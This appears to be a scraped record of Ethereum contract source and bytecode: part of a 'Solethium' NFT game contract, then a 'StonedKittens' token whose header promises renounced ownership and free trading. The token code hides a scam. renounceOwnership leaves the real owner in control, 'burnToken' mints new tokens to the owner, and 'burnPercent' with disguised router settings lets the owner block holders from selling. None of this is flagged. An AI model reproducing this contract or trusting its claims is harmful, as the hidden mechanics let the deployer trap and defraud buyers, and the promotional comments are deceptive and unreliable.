// if there was excess in payment, return that to newOwner buying Object!
if (excess > 0) {
newOwner.transfer(excess);
}
//if the sell object has special property, we have to update ownerAddPercentToParent for owners addresses
// 0=NONE, 1=PARENT_UP
if (_obj.specialPropertyType == 1) {
if (oldOwner != ownerAddress) {
ownerAddPercentToParent[oldOwner] = ownerAddPercentToParent[oldOwner].sub(_obj.specialPropertyValue);
}
ownerAddPercentToParent[newOwner] = ownerAddPercentToParent[newOwner].add(_obj.specialPropertyValue);
}
_transferOwnershipOnBuy(oldOwner, _id, newOwner);
// fire event
EventSolethiumObjectBought(oldOwner, newOwner, price);
}
/**
** @dev this method is used to SET user's nickname
**/
function setOwnerNickName(address _owner, string _nickName) external {
require(msg.sender == _owner);
ownerToNickname[_owner] = _nickName; // set nickname
}
/**
** @dev this method is used to GET user's nickname
**/
function getOwnerNickName(address _owner) external view returns(string) {
return ownerToNickname[_owner];
}
/**
** @dev some helper / info getter functions
**/
function getContractOwner() external view returns(address) {
return ownerAddress;
}
function getBalance() external view returns(uint) {
return this.balance;
}
function getNumberOfCrySolObjects() external view returns(uint16) {
return numberOfCrySolObjects;
}
/*
@dev Withdraw All or part of contract balance to Contract Owner address
*/
function withdrawAll() onlyOwner() public {
ownerAddress.transfer(this.balance);
}
function withdrawAmount(uint256 _amount) onlyOwner() public {
ownerAddress.transfer(_amount);
}
/**
** @dev this method is used to modify parentID if needed later;
** For this game it is very important to keep intended hierarchy; you never know WHEN exactly transaction will be confirmed in the blockchain
** Every Object creation is transaction; if by some accident Objects get "wrong" ID in the crySolObjects array, this is the method where we can adjust parentId
** for objects orbiting it (we don't want for Moon to end up orbiting Mars :) )
**/
function setParentID (uint _crySolObjectID, uint16 _parentID) external onlyOwner() {
crySolObjects[_crySolObjectID].parentID = _parentID;
}
/**
** @dev ERC-721 compliant methods;
** Another contracts can simply talk to us without needing to know anything about our internal contract implementation
**/
mapping (uint => address) crySolObjectsApprovals;
event Transfer(address indexed _from, address indexed _to, uint256 _id);
event Approval(address indexed _owner, address indexed _approved, uint256 _id);
function name() public pure returns (string _name) {
return "Solethium";
}
function symbol() public pure returns (string _symbol) {
return "SOL";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return crySolObjects.length;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return ownerCrySolObjectsCount[_owner];
}
function ownerOf(uint256 _id) public view returns (address _owner) {
return crySolObjects[_id].owner;
}
function _transferHelper(address _from, address _to, uint256 _id) private {
ownerCrySolObjectsCount[_to] = ownerCrySolObjectsCount[_to].add(1);
ownerCrySolObjectsCount[_from] = ownerCrySolObjectsCount[_from].sub(1);
crySolObjects[_id].owner = _to;
Transfer(_from, _to, _id); // fire event
}
function transfer(address _to, uint256 _id) public onlyOwnerOf(_id) {
_transferHelper(msg.sender, _to, _id);
}
function approve(address _to, uint256 _id) public onlyOwnerOf(_id) {
require(msg.sender != _to);
crySolObjectsApprovals[_id] = _to;
Approval(msg.sender, _to, _id); // fire event
}
function takeOwnership(uint256 _id) public {
require(crySolObjectsApprovals[_id] == msg.sender);
_transferHelper(ownerOf(_id), msg.sender, _id);
}
}
|
0x6060604052600436106101745763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630562b9f7811461017957806306fdde031461019157806307f18b9c1461021b578063095ea7b31461024c57806312065fe01461026e57806318160ddd146102815780631dc3ac221461029457806324c2362b146102bf57806330e57b67146102ca578063442890d5146102f45780635f841a8a146103235780636352211e146103425780637043ca8e1461035857806370a08231146103775780637491471014610396578063853828b6146104085780638639ae691461041b5780638f84aa091461042e57806395d89b4114610441578063a9059cbb14610454578063aacec70b14610476578063b2e6ceeb146104b1578063c212b393146104c7578063d88b0815146104e6578063e08503ec146104f9578063e2ae0c791461050f578063e548f0861461052c578063eac965ab1461053f578063f2fde38b14610624575b600080fd5b341561018457600080fd5b61018f600435610643565b005b341561019c57600080fd5b6101a4610694565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101e05780820151838201526020016101c8565b50505050905090810190601f16801561020d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022657600080fd5b61023a600160a060020a03600435166106d6565b60405190815260200160405180910390f35b341561025757600080fd5b61018f600160a060020a03600435166024356106e8565b341561027957600080fd5b61023a6107c5565b341561028c57600080fd5b61023a6107d3565b341561029f57600080fd5b61018f60048035600160a060020a031690602480359081019101356107d9565b61018f600435610822565b34156102d557600080fd5b6102dd610b06565b60405161ffff909116815260200160405180910390f35b34156102ff57600080fd5b610307610b10565b604051600160a060020a03909116815260200160405180910390f35b341561032e57600080fd5b61023a600160a060020a0360043516610b1f565b341561034d57600080fd5b610307600435610b31565b341561036357600080fd5b6101a4600160a060020a0360043516610b6f565b341561038257600080fd5b61023a600160a060020a0360043516610c3c565b34156103a157600080fd5b6103b5600160a060020a0360043516610c57565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f45780820151838201526020016103dc565b505050509050019250505060405180910390f35b341561041357600080fd5b61018f610d62565b341561042657600080fd5b6103b5610db8565b341561043957600080fd5b610307610e36565b341561044c57600080fd5b6101a4610e45565b341561045f57600080fd5b61018f600160a060020a0360043516602435610e86565b341561048157600080fd5b61018f60246004803582810192910135903561ffff6044358116906064351660ff60843581169060a43516610eda565b34156104bc57600080fd5b61018f600435611174565b34156104d257600080fd5b6101a4600160a060020a03600435166111ae565b34156104f157600080fd5b6102dd61125e565b341561050457600080fd5b61023a600435611268565b341561051a57600080fd5b61018f60043561ffff6024351661132f565b341561053757600080fd5b61023a611389565b341561054a57600080fd5b61055560043561138f565b604051602081018890526040810187905261ffff808716606083015285166080820152600160a060020a03841660a082015260ff80841660c0830152821660e08201526101008082528954600260001960018316158402019091160490820181905281906101208201908b90801561060e5780601f106105e35761010080835404028352916020019161060e565b820191906000526020600020905b8154815290600101906020018083116105f157829003601f168201915b5050995050505050505050505060405180910390f35b341561062f57600080fd5b61018f600160a060020a0360043516611411565b60005433600160a060020a0390811691161461065e57600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561069157600080fd5b50565b61069c6118a0565b60408051908101604052600981527f536f6c65746869756d0000000000000000000000000000000000000000000000602082015290505b90565b60046020526000908152604090205481565b806001818154811015156106f857fe5b600091825260209091206003600490920201015433600160a060020a03908116640100000000909204161461072c57600080fd5b82600160a060020a031633600160a060020a03161415151561074d57600080fd5b6000828152600c602052604090819020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038681169182179092559133909116907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a3505050565b600160a060020a0330163190565b60015490565b82600160a060020a031633600160a060020a03161415156107f957600080fd5b600160a060020a038316600090815260066020526040902061081c9083836118b2565b50505050565b60008060008060008060018781548110151561083a57fe5b90600052602060002090600402019550856001015494508560030160049054906101000a9004600160a060020a0316935033925084341015151561087d57600080fd5b600386015433600160a060020a039081166401000000009092041614156108a357600080fd5b6108b3348663ffffffff6114ac16565b6003870154600180549294509161ffff9091169081106108cf57fe5b60009182526020909120600490910201600301546401000000009004600160a060020a03166108fc61090188886114be565b9081150290604051600060405180830381858888f19350505050151561092657600080fd5b50600061094261093586611575565b869063ffffffff6114ac16565b905061095e61095187876114be565b829063ffffffff6114ac16565b9050600160a060020a03841681156108fc0282604051600060405180830381858888f19350505050151561099157600080fd5b60008211156109cb57600160a060020a03831682156108fc0283604051600060405180830381858888f1935050505015156109cb57600080fd5b60038601547801000000000000000000000000000000000000000000000000900460ff1660011415610aa257600054600160a060020a03858116911614610a57576003860154600160a060020a038516600090815260056020526040902054610a3d9160c860020a900460ff166114ac565b600160a060020a0385166000908152600560205260409020555b6003860154600160a060020a038416600090815260056020526040902054610a889160c860020a900460ff166115ae565b600160a060020a0384166000908152600560205260409020555b610aad8488856115c4565b7f9d0e04ce4bc5d582968d8115ffb76a6da0e674526d8f779eb8daddf80bce4e79848487604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a150505050505050565b60025461ffff1690565b600054600160a060020a031690565b60056020526000908152604090205481565b6000600182815481101515610b4257fe5b906000526020600020906004020160030160049054906101000a9004600160a060020a031690505b919050565b610b776118a0565b6006600083600160a060020a0316600160a060020a031681526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c305780601f10610c0557610100808354040283529160200191610c30565b820191906000526020600020905b815481529060010190602001808311610c1357829003601f168201915b50505050509050919050565b600160a060020a031660009081526004602052604090205490565b610c5f6118a0565b6000610c696118a0565b600160a060020a038416600090815260046020526040812054925080831515610cb3576000604051805910610c9b5750595b90808252806020026020018201604052509450610d59565b83604051805910610cc15750595b9080825280602002602001820160405250925060009150600090505b60025461ffff16811015610d555785600160a060020a0316600182815481101515610d0457fe5b60009182526020909120600490910201600301546401000000009004600160a060020a03161415610d4d5780838381518110610d3c57fe5b602090810290910101526001909101905b600101610cdd565b8294505b50505050919050565b60005433600160a060020a03908116911614610d7d57600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610db657600080fd5b565b610dc06118a0565b610dc86118a0565b600254600090819061ffff16604051805910610de15750595b9080825280602002602001820160405250925060009150600090505b60025461ffff16811015610e2e5780838381518110610e1857fe5b6020908102909101015260019182019101610dfd565b509092915050565b600054600160a060020a031681565b610e4d6118a0565b60408051908101604052600381527f534f4c00000000000000000000000000000000000000000000000000000000006020820152905090565b80600181815481101515610e9657fe5b600091825260209091206003600490920201015433600160a060020a039081166401000000009092041614610eca57600080fd5b610ed5338484611751565b505050565b6000805433600160a060020a03908116911614610ef657600080fd5b50600180549081808201610f0a8382611930565b91600052602060002090600402016000610100604051908101604052808c8c8080601f0160208091040260200160405190810160405281815292919060208401838380828437505050928452505050602081018b90526040810186905261ffff808b16606083015289166080820152600160a060020a03331660a082015260ff80891660c0830152871660e090910152919050815181908051610fb192916020019061195c565b506020820151816001015560408201518160020155606082015160038201805461ffff191661ffff9290921691909117905560808201518160030160026101000a81548161ffff021916908361ffff16021790555060a08201518160030160046101000a815481600160a060020a030219169083600160a060020a0316021790555060c08201518160030160186101000a81548160ff021916908360ff16021790555060e08201516003909101805460ff9290921660c860020a0279ff00000000000000000000000000000000000000000000000000199092169190911790555050600160a060020a0333166000908152600460205260409020546110bd90600163ffffffff6115ae16565b600160a060020a0333166000908152600460205260409020556002546110ee9061ffff16600163ffffffff6115ae16565b6002805461ffff191661ffff9290921691909117905560035461111190876115ae565b6003557fb54dafbc266b726df7728963ec4226f3e939e2f38d1d24ddcad3c83b21c0073c81898960405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a15050505050505050565b6000818152600c602052604090205433600160a060020a0390811691161461119b57600080fd5b6106916111a782610b31565b3383611751565b60066020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112565780601f1061122b57610100808354040283529160200191611256565b820191906000526020600020905b81548152906001019060200180831161123957829003601f168201915b505050505081565b60025461ffff1681565b600754600090821161129d57611296606461128a8460c863ffffffff61185e16565b9063ffffffff61188916565b9050610b6a565b60085482116112bc57611296606461128a8460aa63ffffffff61185e16565b60095482116112db57611296606461128a84609663ffffffff61185e16565b600a5482116112fa57611296606461128a84608c63ffffffff61185e16565b600b54821161131957611296606461128a84608263ffffffff61185e16565b611296606461128a84607863ffffffff61185e16565b60005433600160a060020a0390811691161461134a57600080fd5b8060018381548110151561135a57fe5b906000526020600020906004020160030160006101000a81548161ffff021916908361ffff1602179055505050565b60035481565b600180548290811061139d57fe5b6000918252602090912060016004909202019081015460028201546003830154929350909161ffff8082169162010000810490911690600160a060020a036401000000008204169060ff7801000000000000000000000000000000000000000000000000820481169160c860020a90041688565b60005433600160a060020a0390811691161461142c57600080fd5b600160a060020a038116151561144157600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156114b857fe5b50900390565b600382015460018054600092839261152392600a926005928692909161ffff169081106114e757fe5b60009182526020808320600492909202909101600301546401000000009004600160a060020a0316835282019290925260400190205490611889565b600385015460018054909161ffff1690811061153b57fe5b600091825260209091206004909102016003015462010000900461ffff1601905061156b606461128a858461185e565b91505b5092915050565b600080546115a8906103e89061128a90859074010000000000000000000000000000000000000000900461ffff1661185e565b92915050565b6000828201838110156115bd57fe5b9392505050565b600160a060020a0383166000908152600460205260409020546115ee90600163ffffffff6114ac16565b600160a060020a038416600090815260046020526040902055600180548291908490811061161857fe5b60009182526020808320600492830201600301805477ffffffffffffffffffffffffffffffffffffffff000000001916640100000000600160a060020a0396871602179055928416825290915260409020546116759060016115ae565b600160a060020a038216600090815260046020526040902055600180546116c49190849081106116a157fe5b9060005260206000209060040201600101546003546114ac90919063ffffffff16565b600355600180546116f19190849081106116da57fe5b906000526020600020906004020160010154611268565b60018054849081106116ff57fe5b90600052602060002090600402016001018190555061174960018381548110151561172657fe5b9060005260206000209060040201600101546003546115ae90919063ffffffff16565b600355505050565b600160a060020a03821660009081526004602052604090205461177b90600163ffffffff6115ae16565b600160a060020a0380841660009081526004602052604080822093909355908516815220546117b190600163ffffffff6114ac16565b600160a060020a03841660009081526004602052604090205560018054839190839081106117db57fe5b60009182526020909120600490910201600301805477ffffffffffffffffffffffffffffffffffffffff000000001916640100000000600160a060020a03938416021790558281169084167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a3505050565b600080831515611871576000915061156e565b5082820282848281151561188157fe5b04146115bd57fe5b600080828481151561189757fe5b04949350505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106118f35782800160ff19823516178555611920565b82800160010185558215611920579182015b82811115611920578235825591602001919060010190611905565b5061192c9291506119ca565b5090565b815481835581811511610ed557600402816004028360005260206000209182019101610ed591906119e4565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061199d57805160ff1916838001178555611920565b82800160010185558215611920579182015b828111156119205782518255916020019190600101906119af565b6106d391905b8082111561192c57600081556001016119d0565b6106d391905b8082111561192c5760006119fe8282611a3a565b50600060018201819055600282015560038101805479ffffffffffffffffffffffffffffffffffffffffffffffffffff191690556004016119ea565b50805460018160011615610100020316600290046000825580601f10611a605750610691565b601f01602090049060005260206000209081019061069191906119ca5600a165627a7a72305820c9194a4ba85575f521920251006ceca55b8448ba5540386bcbb0b141d838beb40029
|
{"success": true, "error": null, "results": {}}
| 9,173 |
0x87b58dc813465c2a69488de551f2ba20344229e6
|
/*
------------------🐈🐱 Stoned Kittens 🐱🚬---------------------
🐈 Welcome to a fan token based off the official Stoner Cats NFTs that brought a lot of attention!
🌈 A community trusted coin that rewards its holders with a staking system that will bring in great APR %! Yield for LP pooled tokens paired with STONED KITTENS will have greater return!
ℹ️ What we provide:
→ 🐈 Fair Launch - No Buy/Sell Fees 🚀
→ 🐈 Staking Program - the official release is within 24 hours!
→ 🐈 Meowpaper (whitepaper) released with the staking program along with our marketing plans 💼
→ 🐈 🔐 Locked Liquidity and Renounced Ownership - guaranteeing a community-run token and building trust with the DeFi community.
@stonedkittens
*/
pragma solidity ^0.6.5;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract StonedKittens is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 500000 * 10**18;
uint256 private rTotal = 1 * 10**18;
string private _name = 'Stoned Kittens';
string private _symbol = 'KittenZ';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function burnPercent(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function burnToken(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104b7578063c5398cfd14610501578063dd62ed3e1461052f578063f2fde38b146105a757610100565b80637b47ec1a1461035c57806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce567146102925780636aae83f3146102b657806370a08231146102fa578063715018a61461035257610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078b565b005b61033c6004803603602081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610898565b6040518082815260200191505060405180910390f35b61035a6108e1565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610a6a565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052d6004803603602081101561051757600080fd5b8101908080359060200190929190505050610e95565b005b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600954905090565b60006106c284848461136d565b610769846106ce611206565b61076485600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e9611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a72611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b53611206565b73ffffffffffffffffffffffffffffffffffffffff161415610b7457600080fd5b610b898160095461167e90919063ffffffff16565b600981905550610be88160056000610b9f611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60056000610bf4611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3a611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e9d611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000339